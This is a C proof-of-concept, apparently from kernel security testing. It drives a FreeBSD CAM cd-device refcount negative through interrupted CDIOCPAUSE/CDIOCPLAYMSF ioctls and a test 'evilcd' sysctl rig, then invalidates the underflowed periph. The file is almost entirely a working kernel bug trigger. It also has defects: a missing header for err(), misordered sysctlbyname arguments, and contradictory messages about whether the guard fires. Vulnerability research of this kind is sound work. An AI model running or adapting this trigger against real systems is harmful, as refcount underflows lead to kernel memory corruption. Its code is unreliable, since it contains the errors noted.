/* DF-5329 trigger: drive the cd periph refcount negative using the
 * (already-known, DF-5273) cdioctl burn, then invoke
 * cam_periph_invalidate() on the underflowed periph and show the
 * "refcount < 0!!" guard at cam_periph.c:576 NEVER fires (it compares
 * u_int32_t < 0).  This PoC shares the DF-5273 rig unchanged.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

static int fd;

static int
refcnt(void)
{
	int v = -1;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0);
	return (v);
}

static void
unstall(void)
{
	int v = 1;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.unstall", &v, NULL, &l, sizeof(int));
}

static void
sigh(int sig)
{
	(void)sig;
}

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/cd1";
	int i, burns = 3;

	fd = open(dev, O_RDONLY);
	if (fd < 0)
		err(1, "open %s", dev);
	printf("[poc] initial cd periph refcount: %d\n", refcnt());

	signal(SIGALRM, sigh);
	siginterrupt(SIGALRM, 1);

	for (i = 0; i < burns; i++) {
		struct ioc_play_msf msf = { 0, 2, 0, 0, 3, 0 };
		pid_t pid;
		int st;

		/* holder child keeps CAM_PERIPH_LOCKED via a stalled PAUSE */
		pid = fork();
		if (pid == 0) {
			ioctl(fd, CDIOCPAUSE);
			unstall();
			_exit(0);
		}
		usleep(300 * 1000);
		alarm(1);
		ioctl(fd, CDIOCPLAYMSF, &msf);
		alarm(0);
		wait(&st);
		printf("[poc] burn %d: ioctl rc=-1 errno=%d(%s)  refcount=%d\n",
		    i, errno, strerror(errno), refcnt());
	}
	printf("[poc] final refcount: %d (negative, unsigned-wrapped; "
	    "guard at cam_periph.c:576 must fire on invalidate -- watch dmesg)\n",
	    refcnt());

	/* invoke cam_periph_invalidate() on the underflowed periph */
	{
		int v = 1;
		size_t l = sizeof(v);
		sysctlbyname("debug.evilcd.invalidate", NULL, NULL, &v, l);
	}
	sleep(1);
	printf("[poc] invalidate done; grep dmesg for 'refcount < 0' "
	    "(expect ZERO hits on vulnerable kernel)\n");
	return (0);
}
